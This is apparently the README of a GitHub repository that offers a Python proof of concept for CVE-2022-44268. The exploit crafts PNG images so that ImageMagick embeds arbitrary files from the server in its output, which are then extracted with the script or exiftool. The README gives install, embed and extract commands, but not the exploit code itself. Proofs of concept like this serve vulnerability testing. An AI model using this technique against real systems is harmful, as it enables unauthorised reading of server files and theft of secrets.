cygnusx-26/cve-2022-44268-fixed-pocPython PoC for CVE-2022-44268 that embeds arbitrary file contents into PNG images via ImageMagick, with extraction support for exiftool.
Some PoCs don't work for specific file contents. This PoC may work for contents that don't work with other PoCs.
Git clone this repo. Then, install the requirements.
pip install -r requirements.txt
To embed your payload within an image:
python3 MagickPNG.py -i <image to modify> -f <file to read> -o <output file>
Then use ImageMagick to update your PNG.
To extract data from the ImageMagick modified file:
python3 MagickPNG.py -d <resulting image> -o <output file>
If this doesnt work, try using exiftool to extract the bytes as hex.
exiftool -all:all -s image.png -b